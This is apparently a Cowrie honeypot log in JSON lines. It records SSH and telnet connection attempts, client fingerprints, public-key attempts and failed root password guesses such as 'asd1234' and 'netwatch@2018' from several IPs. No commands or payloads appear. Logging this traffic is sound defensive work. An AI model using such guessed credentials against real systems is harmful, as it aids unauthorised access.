{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bb:60:9d:d5:45:c5:0f:90:b9:c2:d6:7c:63:f8:59:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8/Z+wQAJs9LIwdQLPw2kLUXyP7fVpOl/A+Q4b+UpLsGQ0Wk6r0vypMODrh3C6VMkZjLgAQA0IPlHMseVG4AS2W07F9wqBACM5GaVYH3QeDA8TBLpL3Tr8azrcBEGweDrJgOzFl9P9aOiYoR7W2724lEi3MqNRsULVhPjtQPq/0tXeXULix6NDaULJKTGcyO9YBiUBeXCUJgwLa/mX7ik7AqmdykhdL+Gbuc0PkGEbai0AvDyDmxMIzhxatl+qZHX2H4+1OKQqIOeOewqcMhn32mOKtG5pjCEFxudUCkMk51+O+lnNDlgZvaZ81MSRDTqtT02l8BcmHv6uJuJKAWhXqWlGA0r37F7uEVfIwkXqKqngUpcC3JIq6gehhKkzELoLYFQy0srpahH5DROUDr/mlQ74+6GfwIdBUdRe+1YtW1mFzT4AHnFojJtGI85fVXmUHPucYgfdG4qRHbLFkVKWQymYkMbou7TvNmEYcEZqNcx9SnD3SU66Y8I/SEHlQOiEHnYniGmBF3hcE5Pyv6IoC/n8PsBNkkmi34lcas/BThTIEofdMl+QxrblzEk0oSIrquyOGNWRLdLxTucUwKIb0q1E1FZPLQcFpwGr/0DM4JhJGUswh8WBZftfyyo6EbcbBdEzaLWc+LUc3exEqriM05DeEV1/YTxeUn18nIFbOw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bb:60:9d:d5:45:c5:0f:90:b9:c2:d6:7c:63:f8:59:86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:48.619919Z","src_ip":"51.75.149.221","session":"f8302ec85255","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bb:60:9d:d5:45:c5:0f:90:b9:c2:d6:7c:63:f8:59:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8/Z+wQAJs9LIwdQLPw2kLUXyP7fVpOl/A+Q4b+UpLsGQ0Wk6r0vypMODrh3C6VMkZjLgAQA0IPlHMseVG4AS2W07F9wqBACM5GaVYH3QeDA8TBLpL3Tr8azrcBEGweDrJgOzFl9P9aOiYoR7W2724lEi3MqNRsULVhPjtQPq/0tXeXULix6NDaULJKTGcyO9YBiUBeXCUJgwLa/mX7ik7AqmdykhdL+Gbuc0PkGEbai0AvDyDmxMIzhxatl+qZHX2H4+1OKQqIOeOewqcMhn32mOKtG5pjCEFxudUCkMk51+O+lnNDlgZvaZ81MSRDTqtT02l8BcmHv6uJuJKAWhXqWlGA0r37F7uEVfIwkXqKqngUpcC3JIq6gehhKkzELoLYFQy0srpahH5DROUDr/mlQ74+6GfwIdBUdRe+1YtW1mFzT4AHnFojJtGI85fVXmUHPucYgfdG4qRHbLFkVKWQymYkMbou7TvNmEYcEZqNcx9SnD3SU66Y8I/SEHlQOiEHnYniGmBF3hcE5Pyv6IoC/n8PsBNkkmi34lcas/BThTIEofdMl+QxrblzEk0oSIrquyOGNWRLdLxTucUwKIb0q1E1FZPLQcFpwGr/0DM4JhJGUswh8WBZftfyyo6EbcbBdEzaLWc+LUc3exEqriM05DeEV1/YTxeUn18nIFbOw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:48.623338Z","src_ip":"51.75.149.221","session":"f8302ec85255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:48.712736Z","src_ip":"51.75.149.221","session":"f8302ec85255","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52198,"dst_ip":"10.17.0.5","dst_port":23,"session":"7713bd56eb61","protocol":"telnet","message":"New connection: 152.42.224.71:52198 (10.17.0.5:23) [session: 7713bd56eb61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:52.961573Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":52180,"dst_ip":"159.203.135.109","dst_port":22,"session":"2453fe13887b","protocol":"ssh","message":"New connection: 103.172.78.219:52180 (159.203.135.109:22) [session: 2453fe13887b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:56.845734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:56.851253Z","src_ip":"103.172.78.219","session":"2453fe13887b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50144,"dst_ip":"10.17.0.5","dst_port":23,"session":"c718d4ffb817","protocol":"telnet","message":"New connection: 152.42.224.71:50144 (10.17.0.5:23) [session: c718d4ffb817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:56.920581Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:57.115130Z","src_ip":"103.172.78.219","session":"2453fe13887b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd1234","message":"login attempt [root/asd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:57.904665Z","src_ip":"103.172.78.219","session":"2453fe13887b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:59.170904Z","src_ip":"103.172.78.219","session":"2453fe13887b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.50265407562256,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:09:59.845361Z","src_ip":"152.42.224.71","session":"e469962a00e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.40560793876648,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:00.803087Z","src_ip":"152.42.224.71","session":"f5d9a058413e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":58112,"dst_ip":"10.17.0.5","dst_port":22,"session":"794cd6d2ed26","protocol":"ssh","message":"New connection: 171.244.37.103:58112 (10.17.0.5:22) [session: 794cd6d2ed26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:03.747940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:03.752776Z","src_ip":"171.244.37.103","session":"794cd6d2ed26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:04.005072Z","src_ip":"171.244.37.103","session":"794cd6d2ed26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"netwatch@2018","message":"login attempt [root/netwatch@2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:05.051756Z","src_ip":"171.244.37.103","session":"794cd6d2ed26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:06.309582Z","src_ip":"171.244.37.103","session":"794cd6d2ed26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34126,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b35de9a2682","protocol":"telnet","message":"New connection: 152.42.224.71:34126 (10.17.0.5:23) [session: 6b35de9a2682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:06.559395Z"}
{"eventid":"cowrie.session.connect","src_ip":"96.127.172.215","src_port":50760,"dst_ip":"10.17.0.5","dst_port":22,"session":"4929d562d77b","protocol":"ssh","message":"New connection: 96.127.172.215:50760 (10.17.0.5:22) [session: 4929d562d77b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:11.698924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:11.704637Z","src_ip":"96.127.172.215","session":"4929d562d77b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:11.742280Z","src_ip":"96.127.172.215","session":"4929d562d77b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:53:59:fc:11:69:9f:0a:1e:2e:44:82:ab:9d:67:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvI20cAwRKNs56qs7E5pRpbjFqnDhHf/em9sLsa0p78sXtIkwMCzNg35BLaoSKDCgw0AVL7cPkkXt+t9iafkSWGMY7aNdGsq34KbQOLt7IBC/esbssHyAZM/UGK2fk2brt5OySJ983fQj12fDsRmWJcQ5wIWG4zUHWYB3N6N0zpsYT7zW0Hns9cSz6VBJqDiSRfIFb7xGmGziVGHfQIZaWNl01IjImAUMQLscbbj/drFdmX3IaBmTVjc00pFuFvoNirzwfhKfS3p8J0L/L04ebx6KcFTWOrS/j/qWqb/EUCN7Ysql2FHlmNyL/KT/gRHPdRBMANVsfSx4HB96LUi5f","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:53:59:fc:11:69:9f:0a:1e:2e:44:82:ab:9d:67:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:11.903045Z","src_ip":"96.127.172.215","session":"4929d562d77b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:53:59:fc:11:69:9f:0a:1e:2e:44:82:ab:9d:67:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvI20cAwRKNs56qs7E5pRpbjFqnDhHf/em9sLsa0p78sXtIkwMCzNg35BLaoSKDCgw0AVL7cPkkXt+t9iafkSWGMY7aNdGsq34KbQOLt7IBC/esbssHyAZM/UGK2fk2brt5OySJ983fQj12fDsRmWJcQ5wIWG4zUHWYB3N6N0zpsYT7zW0Hns9cSz6VBJqDiSRfIFb7xGmGziVGHfQIZaWNl01IjImAUMQLscbbj/drFdmX3IaBmTVjc00pFuFvoNirzwfhKfS3p8J0L/L04ebx6KcFTWOrS/j/qWqb/EUCN7Ysql2FHlmNyL/KT/gRHPdRBMANVsfSx4HB96LUi5f","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:11.907191Z","src_ip":"96.127.172.215","session":"4929d562d77b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:ee:a7:99:2d:b3:e2:9c:75:e7:5e:4c:75:4e:20:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2b4FwUbUmAeCcD3TlInReG43TxyLTUjit38SkLwQ3Gu9i9VDNb+3a6XGDaQt+GYhY3ojWhwnkZDERA+O4amjPmu5COoKBb8jgRP5R49edlTzzvb4ylxaWolB2wVaezehiZcpYeXvEG5kzOoFSUBNVXx7E/3fwHzTJrU1D/s7ZJcABtffmCUHhJPkTPDrwFG3atyY/cetAIw1qWaozDnSsqMnwaDO57IkKfMR7gynmj18/Gn+P/J8HMmuVYwCyKpNgp1OV98qbEdy2Df7K6gCvNPYsIKjl6gZSKpk7pEOP+PxlUWzp4VsazzQ4G2ZHvMMm0OCQnDau/VlpRqDX5zRqQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f0:ee:a7:99:2d:b3:e2:9c:75:e7:5e:4c:75:4e:20:b7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:11.947127Z","src_ip":"96.127.172.215","session":"4929d562d77b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:ee:a7:99:2d:b3:e2:9c:75:e7:5e:4c:75:4e:20:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2b4FwUbUmAeCcD3TlInReG43TxyLTUjit38SkLwQ3Gu9i9VDNb+3a6XGDaQt+GYhY3ojWhwnkZDERA+O4amjPmu5COoKBb8jgRP5R49edlTzzvb4ylxaWolB2wVaezehiZcpYeXvEG5kzOoFSUBNVXx7E/3fwHzTJrU1D/s7ZJcABtffmCUHhJPkTPDrwFG3atyY/cetAIw1qWaozDnSsqMnwaDO57IkKfMR7gynmj18/Gn+P/J8HMmuVYwCyKpNgp1OV98qbEdy2Df7K6gCvNPYsIKjl6gZSKpk7pEOP+PxlUWzp4VsazzQ4G2ZHvMMm0OCQnDau/VlpRqDX5zRqQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:11.951428Z","src_ip":"96.127.172.215","session":"4929d562d77b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"96:55:7b:cf:97:1b:97:e2:b2:63:11:fc:97:8c:83:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1Xp+mOKgECrQ+saR25uTbIcS5hS34uYNyfHOu7vZPvOFNNZpyHUg48yaHWlQLFK6Sq5zBCtsbQ/MrZAPAh5h5ZqVCLeL//l7Nehku/gii0K70Z40BX1BfyCHSRu2hMVzsN6CNGSEM28ZXQzfAa7qMD1Xfvmvs7IDA5Hcq0BDvw0ljgVrFIRcyx8PKnc2HI1RBLhVkT9ZTAvsTGFkNnrv2lqJkMk+TUCPYWRE0dk3RnZ4QiT4makjsVRpJyM50Oa+bzksrkaZNambN7fS01NIzfR0fZUHCPbIn+79+TnpzkOPoplOKdf2AvDYSKtQ3WjG00ZO2w0tM216HnniY+fWO2FVOiZNuxwKilRmIqBI1l1EUh+wTf0mYCz2OBm34Lrv8jxWS5B3b8iZssUyNxHXKWXtouUS6veSfKxpkSQks0k2fgoKwVkk/IonuC6vy8BHfpsPbnGGiZzGhUFiLeLZTGnsNYCS6lcmv+aFhHNdnFbli4CT+M43XqcoZHXpEU+U=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 96:55:7b:cf:97:1b:97:e2:b2:63:11:fc:97:8c:83:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:11.989265Z","src_ip":"96.127.172.215","session":"4929d562d77b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"96:55:7b:cf:97:1b:97:e2:b2:63:11:fc:97:8c:83:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1Xp+mOKgECrQ+saR25uTbIcS5hS34uYNyfHOu7vZPvOFNNZpyHUg48yaHWlQLFK6Sq5zBCtsbQ/MrZAPAh5h5ZqVCLeL//l7Nehku/gii0K70Z40BX1BfyCHSRu2hMVzsN6CNGSEM28ZXQzfAa7qMD1Xfvmvs7IDA5Hcq0BDvw0ljgVrFIRcyx8PKnc2HI1RBLhVkT9ZTAvsTGFkNnrv2lqJkMk+TUCPYWRE0dk3RnZ4QiT4makjsVRpJyM50Oa+bzksrkaZNambN7fS01NIzfR0fZUHCPbIn+79+TnpzkOPoplOKdf2AvDYSKtQ3WjG00ZO2w0tM216HnniY+fWO2FVOiZNuxwKilRmIqBI1l1EUh+wTf0mYCz2OBm34Lrv8jxWS5B3b8iZssUyNxHXKWXtouUS6veSfKxpkSQks0k2fgoKwVkk/IonuC6vy8BHfpsPbnGGiZzGhUFiLeLZTGnsNYCS6lcmv+aFhHNdnFbli4CT+M43XqcoZHXpEU+U=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:11.993515Z","src_ip":"96.127.172.215","session":"4929d562d77b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ae:4f:0e:3c:3f:3d:ee:89:2a:e9:12:b3:73:ce:27:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2AoJFC5aCW1rXvEgmxdeErSGjkkgxE+cBcH6zh49eqbJCeY6Rz0/LRdhYq1nKUrkHA4QDfNV2wg4j7n7lBmjnAbj/uMLyWJ/GrphrrpvOfJdyAYvF26zmALg9YN7zY9KVpmShowl+1Og9HjXki/brEEqw1SaBUOMNHlBRN1X48JXKsAAck5t7DXBcdkPTyn2nhnYKCe6mOw/pzFiG4Qwtuf0nYpQXYibUduXkcb+zVLT5NoZ6OBamjfWAr07PnJz9bfUfkGSFOJTXB5/tD1GXr63Uh+vaTx5e11DvpMl7ymM6BLvd5fPKhoTey9zk06TdJUYkPbbfmPZuocd1vkH9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ae:4f:0e:3c:3f:3d:ee:89:2a:e9:12:b3:73:ce:27:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:12.031558Z","src_ip":"96.127.172.215","session":"4929d562d77b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ae:4f:0e:3c:3f:3d:ee:89:2a:e9:12:b3:73:ce:27:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2AoJFC5aCW1rXvEgmxdeErSGjkkgxE+cBcH6zh49eqbJCeY6Rz0/LRdhYq1nKUrkHA4QDfNV2wg4j7n7lBmjnAbj/uMLyWJ/GrphrrpvOfJdyAYvF26zmALg9YN7zY9KVpmShowl+1Og9HjXki/brEEqw1SaBUOMNHlBRN1X48JXKsAAck5t7DXBcdkPTyn2nhnYKCe6mOw/pzFiG4Qwtuf0nYpQXYibUduXkcb+zVLT5NoZ6OBamjfWAr07PnJz9bfUfkGSFOJTXB5/tD1GXr63Uh+vaTx5e11DvpMl7ymM6BLvd5fPKhoTey9zk06TdJUYkPbbfmPZuocd1vkH9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:12.035819Z","src_ip":"96.127.172.215","session":"4929d562d77b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:07:02:bb:de:e5:31:10:fc:48:2c:27:70:85:9c:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAur/mCbKL+EexRLnscEmngdEXnxCHtZgCSB5zda2MPvgh3ilSIkz5PeY3Cvk3nq0a9nr6HJcUeQnx2qE2G4koX0yPx6LmN4TWscWH4wftX4soTFr75n9ye9nZzU8JR+n0ZfI3op+yyuTvRg4T3g8c/1L+B2RllDnbBrEmnscBwyfzwH0Gii0hibDInfM6Ia/VnOPcBeffBcN2fJBitwSoffwb4YbR/jx9xG2oCmgchIRMKFwN/VvqZlyFct3SLD4HafNtSuMDgJ7zqko/Zo+EEbW1mif80hf1kCdvI8671nIVHnRYoQdOgyNBi+uu3Or2zlkrxxoB+Vssz3CEa6zo+Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:07:02:bb:de:e5:31:10:fc:48:2c:27:70:85:9c:05","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:12.074154Z","src_ip":"96.127.172.215","session":"4929d562d77b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:07:02:bb:de:e5:31:10:fc:48:2c:27:70:85:9c:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAur/mCbKL+EexRLnscEmngdEXnxCHtZgCSB5zda2MPvgh3ilSIkz5PeY3Cvk3nq0a9nr6HJcUeQnx2qE2G4koX0yPx6LmN4TWscWH4wftX4soTFr75n9ye9nZzU8JR+n0ZfI3op+yyuTvRg4T3g8c/1L+B2RllDnbBrEmnscBwyfzwH0Gii0hibDInfM6Ia/VnOPcBeffBcN2fJBitwSoffwb4YbR/jx9xG2oCmgchIRMKFwN/VvqZlyFct3SLD4HafNtSuMDgJ7zqko/Zo+EEbW1mif80hf1kCdvI8671nIVHnRYoQdOgyNBi+uu3Or2zlkrxxoB+Vssz3CEa6zo+Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:12.079505Z","src_ip":"96.127.172.215","session":"4929d562d77b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:12.121398Z","src_ip":"96.127.172.215","session":"4929d562d77b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.34223771095276,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:12.984313Z","src_ip":"152.42.224.71","session":"9593471d8dad","protocol":"telnet"}
